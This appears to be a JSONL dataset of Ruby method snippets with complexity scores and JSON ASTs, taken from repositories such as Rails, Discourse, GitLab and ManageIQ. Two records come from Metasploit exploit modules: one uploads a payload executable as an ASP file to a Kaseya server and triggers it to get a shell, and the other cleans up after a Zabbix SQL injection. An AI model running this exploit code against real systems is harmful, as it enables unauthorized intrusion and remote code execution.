{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/job/state_machine.rb","start_line":22,"raw_source":"def state=(next_state)\n    # '*' refers to any state; if next_state is '*', remain in current state.\n    super unless next_state.nil? || next_state == '*'\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"state=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"next_state\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_state\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_state\"]},\"==\",{\"type\":\"str\",\"children\":[\"*\"]}]}]},null,{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f44e87c5-dd19-4711-bbe8-d4c440226fc9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/markdown_engines/base.rb","start_line":19,"raw_source":"def sourcepos_disabled?\n          context[:no_sourcepos]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sourcepos_disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_sourcepos\"]}]}]}","id":"7454de91-c19f-42fd-b44a-358c00809e7d"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":551,"raw_source":"def test_map_returns_empty_on_2d_input_array\n    foo = [\n      [1],\n      [2],\n      [3],\n    ]\n\n    assert_raises(Liquid::ArgumentError) do\n      @filters.map(foo, \"bar\")\n    end\n  end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_map_returns_empty_on_2d_input_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"foo\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"map\",{\"type\":\"lvar\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}","id":"72f72597-0dcd-4fe9-8c01-b0cce600c46a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/color_scheme_revisor.rb","start_line":4,"raw_source":"def initialize(color_scheme, params = {})\n    @color_scheme = color_scheme\n    @params = params\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"color_scheme\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@color_scheme\",{\"type\":\"lvar\",\"children\":[\"color_scheme\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"1831a9b0-dac9-467f-8f72-b1302b811518"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/zabbix_sqli.rb","start_line":169,"raw_source":"def cleanup\n    post_data = \"sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)\"\n    print_status(\"Cleaning script remnants\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'data' => post_data,\n      'cookie' => \"zbx_sessionid=#{@session}\",\n      'uri' => normalize_uri(uri, \"scripts.php\")\n    })\n\n    if res and res.code == 200 and res.body =~ /(Script deleted)/\n      print_good(\"Script removed successfully\")\n    else\n      print_warning(\"Unable to remove script #{@scriptid}\")\n    end\n  end","complexity_score":16.05,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sid\"]}]},{\"type\":\"str\",\"children\":[\"&form_refresh=1&scripts[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scriptid\"]}]},{\"type\":\"str\",\"children\":[\"]=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scriptid\"]}]},{\"type\":\"str\",\"children\":[\"&go=delete&goButton=Go (1)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Cleaning script remnants\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"zbx_sessionid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"scripts.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(Script deleted)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Script removed successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to remove script \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scriptid\"]}]}]}]}]}]}]}","id":"ace907a7-b5ae-4cb9-86db-085d30b85195"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_security_key.rb","start_line":14,"raw_source":"def self.factor_types\n    @factor_types ||= Enum.new(second_factor: 0, first_factor: 1, multi_factor: 2)\n  end","complexity_score":2.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"factor_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@factor_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"second_factor\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_factor\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multi_factor\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}","id":"ea7f0bad-1881-40c0-b4f2-88c6a5b03752"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/partition.rb","start_line":135,"raw_source":"def alignment_boundary\n    # TODO: Base alignment on logical block size of storage\n    ::Settings.storage.alignment.boundary.to_i_with_method\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"alignment_boundary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"storage\"]},\"alignment\"]},\"boundary\"]},\"to_i_with_method\"]}]}","id":"09567c9e-4825-4ea9-b94c-86af15c67e6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/helpers.rb","start_line":247,"raw_source":"def redis_info\n      Sidekiq.default_configuration.redis_info\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"redis_info\"]}]}","id":"ac26ce96-0ff2-40a0-a8a8-4578d26a9680"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/dirty.rb","start_line":245,"raw_source":"def attribute_names_for_partial_updates\n          partial_updates? ? changed_attribute_names_to_save : attribute_names\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_names_for_partial_updates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"partial_updates?\"]},{\"type\":\"send\",\"children\":[null,\"changed_attribute_names_to_save\"]},{\"type\":\"send\",\"children\":[null,\"attribute_names\"]}]}]}","id":"e5a629be-04a1-4958-9013-5190aa44191c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fogbugz_import/client.rb","start_line":40,"raw_source":"def repo(id)\n        repos.find { |r| r.id.to_s == id.to_s }\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"repo\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repos\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"id\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\"]}]}]}]}","id":"d9938d89-8548-4759-9960-4fcd7dce5f17"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/discourse_merger.rb","start_line":360,"raw_source":"def update_category_settings\n    puts \"Updating category settings...\"\n    sql = \"SELECT * FROM category_settings\"\n    output = source_raw_connection.exec(sql)\n    output.each do |row|\n      category_id = category_id_from_imported_id(row[\"category_id\"])\n      next unless category_id\n      category = Category.find_by_id(category_id)\n      next if category.name == \"Uncategorized\"\n      category_settings = CategorySetting.find_by(category_id: category_id)\n      next unless category_settings\n      category_settings[\"require_topic_approval\"] = row[\"require_topic_approval\"]\n      category_settings[\"require_reply_approval\"] = row[\"require_reply_approval\"]\n      category_settings[\"num_auto_bump_daily\"] = row[\"num_auto_bump_daily\"]\n      category_settings[\"auto_bump_cooldown_days\"] = row[\"auto_bump_cooldown_days\"]\n      category_settings.save!\n    end\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_category_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Updating category settings...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"str\",\"children\":[\"SELECT * FROM category_settings\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_raw_connection\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_id\",{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"category_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Uncategorized\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"category_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategorySetting\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_settings\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_settings\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"require_topic_approval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"require_topic_approval\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_settings\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"require_reply_approval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"require_reply_approval\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_settings\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"num_auto_bump_daily\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"num_auto_bump_daily\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_settings\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"auto_bump_cooldown_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"auto_bump_cooldown_days\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_settings\"]},\"save!\"]}]}]}]}]}","id":"4dcf1f87-f2d2-4143-9785-0d91d6c23d8d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/kaseya_uploader.rb","start_line":86,"raw_source":"def exploit\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri('ConfigTab', 'uploader.aspx')\n    })\n\n    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\\.asp\\?logout=([0-9]*)/\n      session_id = $1\n    else\n      fail_with(Failure::NoAccess, \"#{peer} - Failed to create a valid session\")\n    end\n\n    asp_name = \"#{rand_text_alpha_lower(8)}.asp\"\n    exe = generate_payload_exe\n    payload = Msf::Util::EXE.to_exe_asp(exe).to_s\n\n    paths = [\n      # We have to guess the path, so just try the most common directories\n      'C:\\\\Kaseya\\\\WebPages\\\\',\n      'C:\\\\Program Files\\\\Kaseya\\\\WebPages\\\\',\n      'C:\\\\Program Files (x86)\\\\Kaseya\\\\WebPages\\\\',\n      'D:\\\\Kaseya\\\\WebPages\\\\',\n      'D:\\\\Program Files\\\\Kaseya\\\\WebPages\\\\',\n      'D:\\\\Program Files (x86)\\\\Kaseya\\\\WebPages\\\\',\n      'E:\\\\Kaseya\\\\WebPages\\\\',\n      'E:\\\\Program Files\\\\Kaseya\\\\WebPages\\\\',\n      'E:\\\\Program Files (x86)\\\\Kaseya\\\\WebPages\\\\',\n    ]\n\n    paths.each do |path|\n      if upload_file(payload, path, asp_name, session_id)\n        register_files_for_cleanup(path + asp_name)\n        print_status(\"Executing payload #{asp_name}\")\n\n        send_request_cgi({\n          'uri' => normalize_uri(asp_name),\n          'method' => 'GET'\n        })\n\n        # Failure. The request timed out or the server went away.\n        break if res.nil?\n        # Success! Triggered the payload, should have a shell incoming\n        break if res.code == 200\n      end\n    end\n  end","complexity_score":44.73,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"ConfigTab\"]},{\"type\":\"str\",\"children\":[\"uploader.aspx\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mainLogon\\\\.asp\\\\?logout=([0-9]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to create a valid session\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"asp_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".asp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"EXE\"]},\"to_exe_asp\",{\"type\":\"lvar\",\"children\":[\"exe\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"C:\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"C:\\\\Program Files\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"C:\\\\Program Files (x86)\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"D:\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"D:\\\\Program Files\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"D:\\\\Program Files (x86)\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"E:\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"E:\\\\Program Files\\\\Kaseya\\\\WebPages\\\\\"]},{\"type\":\"str\",\"children\":[\"E:\\\\Program Files (x86)\\\\Kaseya\\\\WebPages\\\\\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"asp_name\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_files_for_cleanup\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"asp_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asp_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"asp_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"break\",\"children\":[]},null]}]},null]}]}]}]}","id":"cabbd09a-76a5-42f5-9931-27f5fc7a044e"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/team_planner/app/controllers/team_planner/team_planner_controller.rb","start_line":70,"raw_source":"def plan_view_params\n      params.require(:query).permit(:name, :public, :starred).merge(project_id: @project&.id)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"plan_view_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"query\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"sym\",\"children\":[\"starred\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]}]}]}]}","id":"9d8644e8-3ecd-4f57-a066-990fe4da50dd"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_action_serializer.rb","start_line":38,"raw_source":"def avatar_template\n    User.avatar_template(object.username, object.uploaded_avatar_id)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"avatar_template\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"uploaded_avatar_id\"]}]}]}","id":"bb65c355-a1c3-446a-89ab-1f5dec3d1268"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/nary.rb","start_line":25,"raw_source":"def hash\n        [self.class, children].hash\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"send\",\"children\":[null,\"children\"]}]},\"hash\"]}]}","id":"d76ee954-ea26-499e-b804-7c7019a106bd"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian.rb","start_line":495,"raw_source":"def can_see_emails?\n    return true if is_admin?\n    SiteSetting.moderators_view_emails && is_moderator?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_emails?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"moderators_view_emails\"]},{\"type\":\"send\",\"children\":[null,\"is_moderator?\"]}]}]}]}","id":"47f79fab-f619-42bb-8bdb-dbe0135d5b74"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":248,"raw_source":"def test_schema_dumps_exclusion_constraints\n      output = dump_table_schema(\"test_exclusion_constraints\")\n      constraint_definitions = output.split(/\\n/).grep(/test_exclusion_constraints_.*_overlap/)\n\n      assert_equal 3, constraint_definitions.size\n      assert_match 't.exclusion_constraint \"daterange(start_date, end_date) WITH &&\", where: \"(start_date IS NOT NULL) AND (end_date IS NOT NULL)\", using: :gist, name: \"test_exclusion_constraints_date_overlap\"', output\n      assert_match 't.exclusion_constraint \"daterange(valid_from, valid_to) WITH &&\", where: \"(valid_from IS NOT NULL) AND (valid_to IS NOT NULL)\", using: :gist, deferrable: :immediate, name: \"test_exclusion_constraints_valid_overlap\"', output\n      assert_match 't.exclusion_constraint \"daterange(transaction_from, transaction_to) WITH &&\", where: \"(transaction_from IS NOT NULL) AND (transaction_to IS NOT NULL)\", using: :gist, deferrable: :deferred, name: \"test_exclusion_constraints_transaction_overlap\"', output\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumps_exclusion_constraints\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"test_exclusion_constraints\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"constraint_definitions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"test_exclusion_constraints_.*_overlap\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constraint_definitions\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"t.exclusion_constraint \\\"daterange(start_date, end_date) WITH &&\\\", where: \\\"(start_date IS NOT NULL) AND (end_date IS NOT NULL)\\\", using: :gist, name: \\\"test_exclusion_constraints_date_overlap\\\"\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"t.exclusion_constraint \\\"daterange(valid_from, valid_to) WITH &&\\\", where: \\\"(valid_from IS NOT NULL) AND (valid_to IS NOT NULL)\\\", using: :gist, deferrable: :immediate, name: \\\"test_exclusion_constraints_valid_overlap\\\"\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"t.exclusion_constraint \\\"daterange(transaction_from, transaction_to) 